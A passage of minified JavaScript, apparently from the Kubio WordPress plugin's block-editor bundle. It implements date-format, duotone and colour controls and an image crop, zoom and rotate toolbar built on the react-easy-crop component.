Tt=e=>Object(a.createElement)(xt,Object(i.a)({},e,{isToolbar:!1})),Nt=e=>Object(a.createElement)(xt,Object(i.a)({},e,{isToolbar:!0}));var Mt=n(238),Pt=n(140),Lt=n(30),Rt=Object(ke.createHigherOrderComponent)((e=>t=>{const n=Object(Lt.a)("color.palette"),o=!Object(Lt.a)("color.custom"),r=void 0===t.colors?n:t.colors,l=void 0===t.disableCustomColors?o:t.disableCustomColors,c=!Object(Je.isEmpty)(r)||!l;return Object(a.createElement)(e,Object(i.a)({},t,{colors:r,disableCustomColors:l,hasColorsToChoose:c}))}),"withColorContext"),At=Rt(u.ColorPalette),Dt=n(165);function Ft(e){let{onChange:t,value:n,...o}=e;return Object(a.createElement)(Dt.a,Object(i.a)({},o,{onColorChange:t,colorValue:n,gradients:[],disableCustomGradients:!0}))}var zt=n(232),Vt=n(202);const Ht=new Date(2022,0,25);function Gt(e){let{format:t,defaultFormat:n,onChange:o}=e;return Object(a.createElement)("fieldset",{className:"block-editor-date-format-picker"},Object(a.createElement)(u.VisuallyHidden,{as:"legend"},Object(s.__)("Date format","kubio")),Object(a.createElement)(u.ToggleControl,{label:Object(a.createElement)(a.Fragment,null,Object(s.__)("Default format","kubio"),Object(a.createElement)("span",{className:"block-editor-date-format-picker__default-format-toggle-control__hint"},Object(Vt.dateI18n)(n,Ht))),checked:!t,onChange:e=>o(e?null:n)}),t&&Object(a.createElement)($t,{format:t,onChange:o}))}function $t(e){var t;let{format:n,onChange:o}=e;const r=[...new Set(["Y-m-d",Object(s._x)("n/j/Y","short date format","kubio"),Object(s._x)("n/j/Y g:i A","short date format with time","kubio"),Object(s._x)("M j, Y","medium date format","kubio"),Object(s._x)("M j, Y g:i A","medium date format with time","kubio"),Object(s._x)("F j, Y","long date format","kubio"),Object(s._x)("M j","short date format without the year","kubio")])],l=r.map(((e,t)=>({key:`suggested-${t}`,name:Object(Vt.dateI18n)(e,Ht),format:e}))),c={key:"custom",name:Object(s.__)("Custom","kubio"),className:"block-editor-date-format-picker__custom-format-select-control__custom-option",__experimentalHint:Object(s.__)("Enter your own date format","kubio")},[i,d]=Object(a.useState)((()=>!!n&&!r.includes(n)));return Object(a.createElement)(u.__experimentalVStack,null,Object(a.createElement)(u.CustomSelectControl,{__nextUnconstrainedWidth:!0,label:Object(s.__)("Choose a format","kubio"),options:[...l,c],value:i?c:null!==(t=l.find((e=>e.format===n)))&&void 0!==t?t:c,onChange:e=>{let{selectedItem:t}=e;t===c?d(!0):(d(!1),o(t.format))}}),i&&Object(a.createElement)(u.TextControl,{__nextHasNoMarginBottom:!0,label:Object(s.__)("Custom format","kubio"),hideLabelFromVision:!0,help:Object(a.createInterpolateElement)(Object(s.__)("Enter a date or time <Link>format string</Link>.","kubio"),{Link:Object(a.createElement)(u.ExternalLink,{href:Object(s.__)("https://wordpress.org/support/article/formatting-date-and-time/","kubio")})}),value:n,onChange:e=>o(e)}))}var Ut=Object(a.createElement)(L.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(a.createElement)(L.Path,{d:"M12 4 4 19h16L12 4zm0 3.2 5.5 10.3H12V7.2z"})),Wt=function(e){let t,{colorPalette:n,duotonePalette:o,disableCustomColors:r,disableCustomDuotone:l,value:c,onChange:i}=e;return t="unset"===c?Object(a.createElement)(u.ColorIndicator,{className:"block-editor-duotone-control__unset-indicator"}):c?Object(a.createElement)(u.DuotoneSwatch,{values:c}):Object(a.createElement)(M.a,{icon:Ut}),Object(a.createElement)(u.Dropdown,{popoverProps:{className:"block-editor-duotone-control__popover",headerTitle:Object(s.__)("Duotone","kubio"),variant:"toolbar"},renderToggle:e=>{let{isOpen:n,onToggle:o}=e;return Object(a.createElement)(u.ToolbarButton,{showTooltip:!0,onClick:o,"aria-haspopup":"true","aria-expanded":n,onKeyDown:e=>{n||e.keyCode!==oe.DOWN||(e.preventDefault(),o())},label:Object(s.__)("Apply duotone filter","kubio"),icon:t})},renderContent:()=>Object(a.createElement)(u.MenuGroup,{label:Object(s.__)("Duotone","kubio")},Object(a.createElement)("div",{className:"block-editor-duotone-control__description"},Object(s.__)("Create a two-tone color effect without losing your original image.","kubio")),Object(a.createElement)(u.DuotonePicker,{colorPalette:n,duotonePalette:o,disableCustomColors:r,disableCustomDuotone:l,value:c,onChange:i}))})},Kt=n(166),qt=n(233),Yt=n(234),Qt=n(242),Xt=n(240),Zt=n(167),Jt=n(108);const en=["colors","disableCustomColors","gradients","disableCustomGradients"],tn=e=>{let{className:t,colors:n,gradients:o,disableCustomColors:r,disableCustomGradients:l,children:c,settings:i,title:s,showTitle:d=!0,__experimentalIsRenderedInSidebar:b,enableAlpha:p}=e;const m=Object(ke.useInstanceId)(tn),{batch:f}=Object(_.useRegistry)();return Object(Je.isEmpty)(n)&&Object(Je.isEmpty)(o)&&r&&l&&null!=i&&i.every((e=>Object(Je.isEmpty)(e.colors)&&Object(Je.isEmpty)(e.gradients)&&(void 0===e.disableCustomColors||e.disableCustomColors)&&(void 0===e.disableCustomGradients||e.disableCustomGradients)))?null:Object(a.createElement)(u.__experimentalToolsPanel,{className:H()("block-editor-panel-color-gradient-settings",t),label:d?s:void 0,resetAll:()=>{f((()=>{i.forEach((e=>{let{colorValue:t,gradientValue:n,onColorChange:o,onGradientChange:r}=e;t?o():n&&r()}))}))},panelId:m,__experimentalFirstVisibleItemClass:"first",__experimentalLastVisibleItemClass:"last"},Object(a.createElement)(Zt.a,{settings:i,panelId:m,colors:n,gradients:o,disableCustomColors:r,disableCustomGradients:l,__experimentalIsRenderedInSidebar:b,enableAlpha:p}),!!c&&Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.__experimentalSpacer,{marginY:4})," ",c))},nn=e=>{const t=Object(Jt.a)();return Object(a.createElement)(tn,Object(i.a)({},t,e))};var on=e=>en.every((t=>e.hasOwnProperty(t)))?Object(a.createElement)(tn,e):Object(a.createElement)(nn,e),rn=n(221),ln=n(69),cn=n(42);const an=Object(a.createContext)({}),sn=()=>Object(a.useContext)(an);function un(e){let{id:t,url:n,naturalWidth:o,naturalHeight:r,onFinishEditing:l,onSaveImage:c,children:i}=e;const u=function(e){let{url:t,naturalWidth:n,naturalHeight:o}=e;const[r,l]=Object(a.useState)(),[c,i]=Object(a.useState)(),[s,u]=Object(a.useState)({x:0,y:0}),[d,b]=Object(a.useState)(100),[p,m]=Object(a.useState)(0),f=n/o,[g,h]=Object(a.useState)(f),v=Object(a.useCallback)((()=>{const e=(p+90)%360;let n=f;if(p%180==90&&(n=1/f),0===e)return l(),m(e),h(f),void u({x:-s.y*n,y:s.x*n});const o=new window.Image;o.src=t,o.onload=function(t){const o=document.createElement("canvas");let r=0,c=0;e%180?(o.width=t.target.height,o.height=t.target.width):(o.width=t.target.width,o.height=t.target.height),90!==e&&180!==e||(r=o.width),270!==e&&180!==e||(c=o.height);const i=o.getContext("2d");i.translate(r,c),i.rotate(e*Math.PI/180),i.drawImage(t.target,0,0),o.toBlob((t=>{l(URL.createObjectURL(t)),m(e),h(o.width/o.height),u({x:-s.y*n,y:s.x*n})}))};const r=Object(O.applyFilters)("media.crossOrigin",void 0,t);"string"==typeof r&&(o.crossOrigin=r)}),[p,f]);return Object(a.useMemo)((()=>({editedUrl:r,setEditedUrl:l,crop:c,setCrop:i,position:s,setPosition:u,zoom:d,setZoom:b,rotation:p,setRotation:m,rotateClockwise:v,aspect:g,setAspect:h,defaultAspect:f})),[r,c,s,d,p,v,g,f])}({url:n,naturalWidth:o,naturalHeight:r}),d=function(e){let{crop:t,rotation:n,height:o,width:r,aspect:l,url:c,id:i,onSaveImage:u,onFinishEditing:d}=e;const{createErrorNotice:b}=Object(_.useDispatch)(ln.store),[p,m]=Object(a.useState)(!1),f=Object(a.useCallback)((()=>{m(!1),d()}),[m,d]),g=Object(a.useCallback)((()=>{m(!0);let e={};(t.width<99.9||t.height<99.9)&&(e=t),n>0&&(e.rotation=n),e.src=c,T()({path:`/wp/v2/media/${i}/edit`,method:"POST",data:e}).then((e=>{u({id:e.id,url:e.source_url,height:o&&r?r/l:void 0})})).catch((e=>{b(Object(s.sprintf)(/* translators: 1. Error message */Object(s.__)("Could not edit image. %s","kubio"),Object(cn.__unstableStripHTML)(e.message)),{id:"image-editing-error",type:"snackbar"})})).finally((()=>{m(!1),d()}))}),[m,t,n,o,r,l,c,u,b,m,d]);return Object(a.useMemo)((()=>({isInProgress:p,apply:g,cancel:f})),[p,g,f])}({id:t,url:n,onSaveImage:c,onFinishEditing:l,...u}),b=Object(a.useMemo)((()=>({...u,...d})),[u,d]);return Object(a.createElement)(an.Provider,{value:b},i)}var dn=function(e,t){return dn=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},dn(e,t)},bn=function(){return bn=Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e},bn.apply(this,arguments)};Object.create,Object.create;var pn=n(10),mn=n.n(pn),fn=n(194),gn=n.n(fn);function hn(e,t,n,o,r){void 0===r&&(r=0);var l=Cn(t.width,t.height,r),c=l.width,i=l.height;return{x:vn(e.x,c,n.width,o),y:vn(e.y,i,n.height,o)}}function vn(e,t,n,o){var r=t*o/2-n/2;return Math.min(r,Math.max(e,-r))}function On(e,t){return Math.sqrt(Math.pow(e.y-t.y,2)+Math.pow(e.x-t.x,2))}function kn(e,t){return 180*Math.atan2(t.y-e.y,t.x-e.x)/Math.PI}function jn(e,t){return Math.min(e,Math.max(0,t))}function yn(e,t){return t}function En(e,t){return{x:(t.x+e.x)/2,y:(t.y+e.y)/2}}function Sn(e,t,n,o,r){var l=Math.cos,c=Math.sin,i=r*Math.PI/180;return[(e-n)*l(i)-(t-o)*c(i)+n,(e-n)*c(i)+(t-o)*l(i)+o]}function Cn(e,t,n){var o=e/2,r=t/2,l=[Sn(0,0,o,r,n),Sn(e,0,o,r,n),Sn(e,t,o,r,n),Sn(0,t,o,r,n)],c=Math.min.apply(Math,l.map((function(e){return e[0]}))),i=Math.max.apply(Math,l.map((function(e){return e[0]}))),a=Math.min.apply(Math,l.map((function(e){return e[1]})));return{width:i-c,height:Math.max.apply(Math,l.map((function(e){return e[1]})))-a}}function wn(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return e.filter((function(e){return"string"==typeof e&&e.length>0})).join(" ").trim()}var Bn=function(e){function t(){var n=null!==e&&e.apply(this,arguments)||this;return n.imageRef=null,n.videoRef=null,n.containerRef=null,n.styleRef=null,n.containerRect=null,n.mediaSize={width:0,height:0,naturalWidth:0,naturalHeight:0},n.dragStartPosition={x:0,y:0},n.dragStartCrop={x:0,y:0},n.lastPinchDistance=0,n.lastPinchRotation=0,n.rafDragTimeout=null,n.rafPinchTimeout=null,n.wheelTimer=null,n.state={cropSize:null,hasWheelJustStarted:!1},n.preventZoomSafari=function(e){return e.preventDefault()},n.cleanEvents=function(){document.removeEventListener("mousemove",n.onMouseMove),document.removeEventListener("mouseup",n.onDragStopped),document.removeEventListener("touchmove",n.onTouchMove),document.removeEventListener("touchend",n.onDragStopped)},n.clearScrollEvent=function(){n.containerRef&&n.containerRef.removeEventListener("wheel",n.onWheel),n.wheelTimer&&clearTimeout(n.wheelTimer)},n.onMediaLoad=function(){n.computeSizes(),n.emitCropData(),n.setInitialCrop(),n.props.onMediaLoaded&&n.props.onMediaLoaded(n.mediaSize)},n.setInitialCrop=function(){var e=n.props,t=e.initialCroppedAreaPixels,o=e.cropSize;if(t){var r=function(e,t,n){var o=t.width/t.naturalWidth,r=function(e,t,n){var o=t.width/t.naturalWidth;if(n)return n.height>n.width?n.height/o/e.height:n.width/o/e.width;var r=e.width/e.height;return t.naturalWidth>=t.naturalHeight*r?t.naturalHeight/e.height:t.naturalWidth/e.width}(e,t,n),l=o*r;return{crop:{x:((t.naturalWidth-e.width)/2-e.x)*l,y:((t.naturalHeight-e.height)/2-e.y)*l},zoom:r}}(t,n.mediaSize,o),l=r.crop,c=r.zoom;n.props.onCropChange(l),n.props.onZoomChange&&n.props.onZoomChange(c)}},n.computeSizes=function(){var e,t,o,r,l,c,i=n.imageRef||n.videoRef;if(i&&n.containerRef){n.containerRect=n.containerRef.getBoundingClientRect(),n.mediaSize={width:i.offsetWidth,height:i.offsetHeight,naturalWidth:(null===(e=n.imageRef)||void 0===e?void 0:e.naturalWidth)||(null===(t=n.videoRef)||void 0===t?void 0:t.videoWidth)||0,naturalHeight:(null===(o=n.imageRef)||void 0===o?void 0:o.naturalHeight)||(null===(r=n.videoRef)||void 0===r?void 0:r.videoHeight)||0};var a=n.props.cropSize?n.props.cropSize:function(e,t,n,o,r,l){void 0===l&&(l=0);var c=Cn(e,t,l),i=c.width,a=c.height,s=Math.min(i,n),u=Math.min(a,o);return s>u*r?{width:u*r,height:u}:{width:s,height:s/r}}(i.offsetWidth,i.offsetHeight,n.containerRect.width,n.containerRect.height,n.props.aspect,n.props.rotation);(null===(l=n.state.cropSize)||void 0===l?void 0:l.height)===a.height&&(null===(c=n.state.cropSize)||void 0===c?void 0:c.width)===a.width||n.props.onCropSizeChange&&n.props.onCropSizeChange(a),n.setState({cropSize:a},n.recomputeCropPosition)}},n.onMouseDown=function(e){e.preventDefault(),document.addEventListener("mousemove",n.onMouseMove),document.addEventListener("mouseup",n.onDragStopped),n.onDragStart(t.getMousePoint(e))},n.onMouseMove=function(e){return n.onDrag(t.getMousePoint(e))},n.onTouchStart=function(e){document.addEventListener("touchmove",n.onTouchMove,{passive:!1}),document.addEventListener("touchend",n.onDragStopped),2===e.touches.length?n.onPinchStart(e):1===e.touches.length&&n.onDragStart(t.getTouchPoint(e.touches[0]))},n.onTouchMove=function(e){e.preventDefault(),2===e.touches.length?n.onPinchMove(e):1===e.touches.length&&n.onDrag(t.getTouchPoint(e.touches[0]))},n.onDragStart=function(e){var t,o,r=e.x,l=e.y;n.dragStartPosition={x:r,y:l},n.dragStartCrop=bn({},n.props.crop),null===(o=(t=n.props).onInteractionStart)||void 0===o||o.call(t)},n.onDrag=function(e){var t=e.x,o=e.y;n.rafDragTimeout&&window.cancelAnimationFrame(n.rafDragTimeout),n.rafDragTimeout=window.requestAnimationFrame((function(){if(n.state.cropSize&&void 0!==t&&void 0!==o){var e=t-n.dragStartPosition.x,r=o-n.dragStartPosition.y,l={x:n.dragStartCrop.x+e,y:n.dragStartCrop.y+r},c=n.props.restrictPosition?hn(l,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):l;n.props.onCropChange(c)}}))},n.onDragStopped=function(){var e,t;n.cleanEvents(),n.emitCropData(),null===(t=(e=n.props).onInteractionEnd)||void 0===t||t.call(e)},n.onWheel=function(e){e.preventDefault();var o=t.getMousePoint(e),r=gn()(e).pixelY,l=n.props.zoom-r*n.props.zoomSpeed/200;n.setNewZoom(l,o),n.state.hasWheelJustStarted||n.setState({hasWheelJustStarted:!0},(function(){var e,t;return null===(t=(e=n.props).onInteractionStart)||void 0===t?void 0:t.call(e)})),n.wheelTimer&&clearTimeout(n.wheelTimer),n.wheelTimer=window.setTimeout((function(){return n.setState({hasWheelJustStarted:!1},(function(){var e,t;return null===(t=(e=n.props).onInteractionEnd)||void 0===t?void 0:t.call(e)}))}),250)},n.getPointOnContainer=function(e){var t=e.x,o=e.y;if(!n.containerRect)throw new Error("The Cropper is not mounted");return{x:n.containerRect.width/2-(t-n.containerRect.left),y:n.containerRect.height/2-(o-n.containerRect.top)}},n.getPointOnMedia=function(e){var t=e.x,o=e.y,r=n.props,l=r.crop,c=r.zoom;return{x:(t+l.x)/c,y:(o+l.y)/c}},n.setNewZoom=function(e,t){if(n.state.cropSize&&n.props.onZoomChange){var o=n.getPointOnContainer(t),r=n.getPointOnMedia(o),l=Math.min(n.props.maxZoom,Math.max(e,n.props.minZoom)),c={x:r.x*l-o.x,y:r.y*l-o.y},i=n.props.restrictPosition?hn(c,n.mediaSize,n.state.cropSize,l,n.props.rotation):c;n.props.onCropChange(i),n.props.onZoomChange(l)}},n.getCropData=function(){return n.state.cropSize?function(e,t,n,o,r,l,c){void 0===l&&(l=0),void 0===c&&(c=!0);var i=c&&0===l?jn:yn,a={x:i(100,((t.width-n.width/r)/2-e.x/r)/t.width*100),y:i(100,((t.height-n.height/r)/2-e.y/r)/t.height*100),width:i(100,n.width/t.width*100/r),height:i(100,n.height/t.height*100/r)},s=Math.round(i(t.naturalWidth,a.width*t.naturalWidth/100)),u=Math.round(i(t.naturalHeight,a.height*t.naturalHeight/100)),d=t.naturalWidth>=t.naturalHeight*o?{width:Math.round(u*o),height:u}:{width:s,height:Math.round(s/o)};return{croppedAreaPercentages:a,croppedAreaPixels:bn(bn({},d),{x:Math.round(i(t.naturalWidth-d.width,a.x*t.naturalWidth/100)),y:Math.round(i(t.naturalHeight-d.height,a.y*t.naturalHeight/100))})}}(n.props.restrictPosition?hn(n.props.crop,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):n.props.crop,n.mediaSize,n.state.cropSize,n.getAspect(),n.props.zoom,n.props.rotation,n.props.restrictPosition):null},n.emitCropData=function(){var e=n.getCropData();if(e){var t=e.croppedAreaPercentages,o=e.croppedAreaPixels;n.props.onCropComplete&&n.props.onCropComplete(t,o),n.props.onCropAreaChange&&n.props.onCropAreaChange(t,o)}},n.emitCropAreaChange=function(){var e=n.getCropData();if(e){var t=e.croppedAreaPercentages,o=e.croppedAreaPixels;n.props.onCropAreaChange&&n.props.onCropAreaChange(t,o)}},n.recomputeCropPosition=function(){if(n.state.cropSize){var e=n.props.restrictPosition?hn(n.props.crop,n.mediaSize,n.state.cropSize,n.props.zoom,n.props.rotation):n.props.crop;n.props.onCropChange(e),n.emitCropData()}},n}return function(e,t){function __(){this.constructor=e}dn(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}(t,e),t.prototype.componentDidMount=function(){window.addEventListener("resize",this.computeSizes),this.containerRef&&(this.props.zoomWithScroll&&this.containerRef.addEventListener("wheel",this.onWheel,{passive:!1}),this.containerRef.addEventListener("gesturestart",this.preventZoomSafari),this.containerRef.addEventListener("gesturechange",this.preventZoomSafari)),this.props.disableAutomaticStylesInjection||(this.styleRef=document.createElement("style"),this.styleRef.setAttribute("type","text/css"),this.styleRef.innerHTML=".reactEasyCrop_Container {\n position: absolute;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0;\n overflow: hidden;\n user-select: none;\n touch-action: none;\n cursor: move;\n display: flex;\n justify-content: center;\n align-items: center;\n}\n\n.reactEasyCrop_Image,\n.reactEasyCrop_Video {\n will-change: transform; /* this improves performances and prevent painting issues on iOS Chrome */\n}\n\n.reactEasyCrop_Contain {\n max-width: 100%;\n max-height: 100%;\n margin: auto;\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n right: 0;\n}\n.reactEasyCrop_Cover_Horizontal {\n width: 100%;\n height: auto;\n}\n.reactEasyCrop_Cover_Vertical {\n width: auto;\n height: 100%;\n}\n\n.reactEasyCrop_CropArea {\n position: absolute;\n left: 50%;\n top: 50%;\n transform: translate(-50%, -50%);\n border: 1px solid rgba(255, 255, 255, 0.5);\n box-sizing: border-box;\n box-shadow: 0 0 0 9999em;\n color: rgba(0, 0, 0, 0.5);\n overflow: hidden;\n}\n\n.reactEasyCrop_CropAreaRound {\n border-radius: 50%;\n}\n\n.reactEasyCrop_CropAreaGrid::before {\n content: ' ';\n box-sizing: border-box;\n position: absolute;\n border: 1px solid rgba(255, 255, 255, 0.5);\n top: 0;\n bottom: 0;\n left: 33.33%;\n right: 33.33%;\n border-top: 0;\n border-bottom: 0;\n}\n\n.reactEasyCrop_CropAreaGrid::after {\n content: ' ';\n box-sizing: border-box;\n position: absolute;\n border: 1px solid rgba(255, 255, 255, 0.5);\n top: 33.33%;\n bottom: 33.33%;\n left: 0;\n right: 0;\n border-left: 0;\n border-right: 0;\n}\n",document.head.appendChild(this.styleRef)),this.imageRef&&this.imageRef.complete&&this.onMediaLoad()},t.prototype.componentWillUnmount=function(){var e;window.removeEventListener("resize",this.computeSizes),this.containerRef&&(this.containerRef.removeEventListener("gesturestart",this.preventZoomSafari),this.containerRef.removeEventListener("gesturechange",this.preventZoomSafari)),this.styleRef&&(null===(e=this.styleRef.parentNode)||void 0===e||e.removeChild(this.styleRef)),this.cleanEvents(),this.props.zoomWithScroll&&this.clearScrollEvent()},t.prototype.componentDidUpdate=function(e){var t,n,o,r,l,c,i,a,s;e.rotation!==this.props.rotation?(this.computeSizes(),this.recomputeCropPosition()):e.aspect!==this.props.aspect?this.computeSizes():e.zoom!==this.props.zoom?this.recomputeCropPosition():(null===(t=e.cropSize)||void 0===t?void 0:t.height)!==(null===(n=this.props.cropSize)||void 0===n?void 0:n.height)||(null===(o=e.cropSize)||void 0===o?void 0:o.width)!==(null===(r=this.props.cropSize)||void 0===r?void 0:r.width)?this.computeSizes():(null===(l=e.crop)||void 0===l?void 0:l.x)===(null===(c=this.props.crop)||void 0===c?void 0:c.x)&&(null===(i=e.crop)||void 0===i?void 0:i.y)===(null===(a=this.props.crop)||void 0===a?void 0:a.y)||this.emitCropAreaChange(),e.zoomWithScroll!==this.props.zoomWithScroll&&this.containerRef&&(this.props.zoomWithScroll?this.containerRef.addEventListener("wheel",this.onWheel,{passive:!1}):this.clearScrollEvent()),e.video!==this.props.video&&(null===(s=this.videoRef)||void 0===s||s.load())},t.prototype.getAspect=function(){var e=this.props,t=e.cropSize,n=e.aspect;return t?t.width/t.height:n},t.prototype.onPinchStart=function(e){var n=t.getTouchPoint(e.touches[0]),o=t.getTouchPoint(e.touches[1]);this.lastPinchDistance=On(n,o),this.lastPinchRotation=kn(n,o),this.onDragStart(En(n,o))},t.prototype.onPinchMove=function(e){var n=this,o=t.getTouchPoint(e.touches[0]),r=t.getTouchPoint(e.touches[1]),l=En(o,r);this.onDrag(l),this.rafPinchTimeout&&window.cancelAnimationFrame(this.rafPinchTimeout),this.rafPinchTimeout=window.requestAnimationFrame((function(){var e=On(o,r),t=n.props.zoom*(e/n.lastPinchDistance);n.setNewZoom(t,l),n.lastPinchDistance=e;var c=kn(o,r),i=n.props.rotation+(c-n.lastPinchRotation);n.props.onRotationChange&&n.props.onRotationChange(i),n.lastPinchRotation=c}))},t.prototype.render=function(){var e=this,t=this.props,n=t.image,o=t.video,r=t.mediaProps,l=t.transform,c=t.crop,i=c.x,a=c.y,s=t.rotation,u=t.zoom,d=t.cropShape,b=t.showGrid,p=t.style,m=p.containerStyle,f=p.cropAreaStyle,g=p.mediaStyle,h=t.classes,v=h.containerClassName,O=h.cropAreaClassName,k=h.mediaClassName,j=t.objectFit;return mn.a.createElement("div",{onMouseDown:this.onMouseDown,onTouchStart:this.onTouchStart,ref:function(t){return e.containerRef=t},"data-testid":"container",style:m,className:wn("reactEasyCrop_Container",v)},n?mn.a.createElement("img",bn({alt:"",className:wn("reactEasyCrop_Image","contain"===j&&"reactEasyCrop_Contain","horizontal-cover"===j&&"reactEasyCrop_Cover_Horizontal","vertical-cover"===j&&"reactEasyCrop_Cover_Vertical",k)},r,{src:n,ref:function(t){return e.imageRef=t},style:bn(bn({},g),{transform:l||"translate("+i+"px, "+a+"px) rotate("+s+"deg) scale("+u+")"}),onLoad:this.onMediaLoad})):o&&mn.a.createElement("video",bn({autoPlay:!0,loop:!0,muted:!0,className:wn("reactEasyCrop_Video","contain"===j&&"reactEasyCrop_Contain","horizontal-cover"===j&&"reactEasyCrop_Cover_Horizontal","vertical-cover"===j&&"reactEasyCrop_Cover_Vertical",k)},r,{ref:function(t){return e.videoRef=t},onLoadedMetadata:this.onMediaLoad,style:bn(bn({},g),{transform:l||"translate("+i+"px, "+a+"px) rotate("+s+"deg) scale("+u+")"}),controls:!1}),(Array.isArray(o)?o:[{src:o}]).map((function(e){return mn.a.createElement("source",bn({key:e.src},e))}))),this.state.cropSize&&mn.a.createElement("div",{style:bn(bn({},f),{width:this.state.cropSize.width,height:this.state.cropSize.height}),"data-testid":"cropper",className:wn("reactEasyCrop_CropArea","round"===d&&"reactEasyCrop_CropAreaRound",b&&"reactEasyCrop_CropAreaGrid",O)}))},t.defaultProps={zoom:1,rotation:0,aspect:4/3,maxZoom:3,minZoom:1,cropShape:"rect",objectFit:"contain",showGrid:!0,style:{},classes:{},mediaProps:{},zoomSpeed:1,restrictPosition:!0,zoomWithScroll:!0},t.getMousePoint=function(e){return{x:Number(e.clientX),y:Number(e.clientY)}},t.getTouchPoint=function(e){return{x:Number(e.clientX),y:Number(e.clientY)}},t}(mn.a.Component),In=Bn;const xn=100,Tn=300,Nn={placement:"bottom-start",variant:"toolbar"};function Mn(e){let{url:t,width:n,height:o,clientWidth:r,naturalHeight:l,naturalWidth:c,borderProps:i}=e;const{isInProgress:s,editedUrl:d,position:b,zoom:p,aspect:m,setPosition:f,setCrop:g,setZoom:h,rotation:v}=sn();let O=o||r*l/c;return v%180==90&&(O=r*c/l),Object(a.createElement)("div",{className:H()("wp-block-image__crop-area",null==i?void 0:i.className,{"is-applying":s}),style:{...null==i?void 0:i.style,width:n||r,height:O}},Object(a.createElement)(In,{image:d||t,disabled:s,minZoom:xn/100,maxZoom:Tn/100,crop:b,zoom:p/100,aspect:m,onCropChange:e=>{f(e)},onCropComplete:e=>{g(e)},onZoomChange:e=>{h(100*e)}}),s&&Object(a.createElement)(u.Spinner,null))}var Pn=n(222);function Ln(){const{isInProgress:e,zoom:t,setZoom:n}=sn();return Object(a.createElement)(u.Dropdown,{contentClassName:"wp-block-image__zoom",popoverProps:Nn,renderToggle:t=>{let{isOpen:n,onToggle:o}=t;return Object(a.createElement)(u.ToolbarButton,{icon:Pn.a,label:Object(s.__)("Zoom","kubio"),onClick:o,"aria-expanded":n,disabled:e})},renderContent:()=>Object(a.createElement)(u.RangeControl,{__nextHasNoMarginBottom:!0,label:Object(s.__)("Zoom","kubio"),min:xn,max:Tn,value:Math.round(t),onChange:n})})}var Rn=n(273),An=n(431);function Dn(e){let{aspectRatios:t,isDisabled:n,label:o,onClick:r,value:l}=e;return Object(a.createElement)(u.MenuGroup,{label:o},t.map((e=>{let{title:t,aspect:o}=e;return Object(a.createElement)(u.MenuItem,{key:o,disabled:n,onClick:()=>{r(o)},role:"menuitemradio",isSelected:o===l,icon:o===l?Rn.a:void 0},t)})))}function Fn(e){let{toggleProps:t}=e;const{isInProgress:n,aspect:o,setAspect:r,defaultAspect:l}=sn();return Object(a.createElement)(u.DropdownMenu,{icon:An.a,label:Object(s.__)("Aspect Ratio","kubio"),popoverProps:Nn,toggleProps:t,className:"wp-block-image__aspect-ratio"},(e=>{let{onClose:t}=e;return Object(a.createElement)(a.Fragment,null,Object(a.createElement)(Dn,{isDisabled:n,onClick:e=>{r(e),t()},value:o,aspectRatios:[{title:Object(s.__)("Original","kubio"),aspect:l},{title:Object(s.__)("Square","kubio"),aspect:1}]}),Object(a.createElement)(Dn,{label:Object(s.__)("Landscape","kubio"),isDisabled:n,onClick:e=>{r(e),t()},value:o,aspectRatios:[{title:Object(s.__)("16:10","kubio"),aspect:1.6},{title:Object(s.__)("16:9","kubio"),aspect:16/9},{title:Object(s.__)("4:3","kubio"),aspect:4/3},{title:Object(s.__)("3:2","kubio"),aspect:1.5}]}),Object(a.createElement)(Dn,{label:Object(s.__)("Portrait","kubio"),isDisabled:n,onClick:e=>{r(e),t()},value:o,aspectRatios:[{title:Object(s.__)("10:16","kubio"),aspect:.625},{title:Object(s.__)("9:16","kubio"),aspect:9/16},{title:Object(s.__)("3:4","kubio"),aspect:3/4},{title:Object(s.__)("2:3","kubio"),aspect:2/3}]}))}))}var zn=n(432);function Vn(){const{isInProgress:e,rotateClockwise:t}=sn();return Object(a.createElement)(u.ToolbarButton,{icon:zn.a,label:Object(s.__)("Rotate","kubio"),onClick:t,disabled:e})}function Hn(){const{isInProgress:e,apply:t,cancel:n}=sn();return Object(a.createElement)(a.Fragment,null,Object(a.createElement)(u.ToolbarButton,{onClick:t,disabled:e},Object(s.__)("Apply","kubio")),Object(a.createElement)(u.ToolbarButton,{onClick:n},Object(s.__)("Cancel","kubio")))}function Gn(e){let{id:t,url:n,width:o,height:r,clientWidth:l,naturalHeight:c,naturalWidth:i,onSaveImage:s,onFinishEditing:d,borderProps:b}=e;return Object(a.createElement)(un,{id:t,url:n,naturalWidth:i,naturalHeight:c,onSaveImage:s,onFinishEditing:d},Object(a.createElement)(Mn,{borderProps:b,url:n,width:o,height:r,clientWidth:l,naturalHeight:c,naturalWidth:i}),Object(a.createElement)(de.b,null,Object(a.createElement)(u.ToolbarGroup,null,Object(a.createElement)(Ln,null),Object(a.createElement)(u.ToolbarItem,null,(e=>Object(a.createElement)(Fn,{toggleProps:e}))),Object(a.createElement)(Vn,null)),Object(a.createElement)(u.ToolbarGroup,null,Object(a.createElement)(Hn,null))))}const $n=[25,50,75,100],Un=()=>{};function Wn(e){let{imageSizeHelp:t,imageWidth:n,imageHeight:o,imageSizeOptions:r=[],isResizable:l=!0,slug:c,width:i,height:d,onChange:b,onChangeImage:p=Un}=e;const{currentHeight:m,currentWidth:f,updateDimension:g,updateDimensions:h}=function(e,t,n,o,r){var l,c;const[i,s]=Object(a.useState)(null!==(l=null!=t?t:o)&&void 0!==l?l:""),[u,d]=Object(a.useState)(null!==(c=null!=e?e:n)&&void 0!==c?c:"");return Object(a.useEffect)((()=>{void 0===t&&void 0!==o&&s(o),void 0===e&&void 0!==n&&d(n)}),[o,n]),Object(a.useEffect)((()=>{void 0!==t&&Number.parseInt(t)!==Number.parseInt(i)&&s(t),void 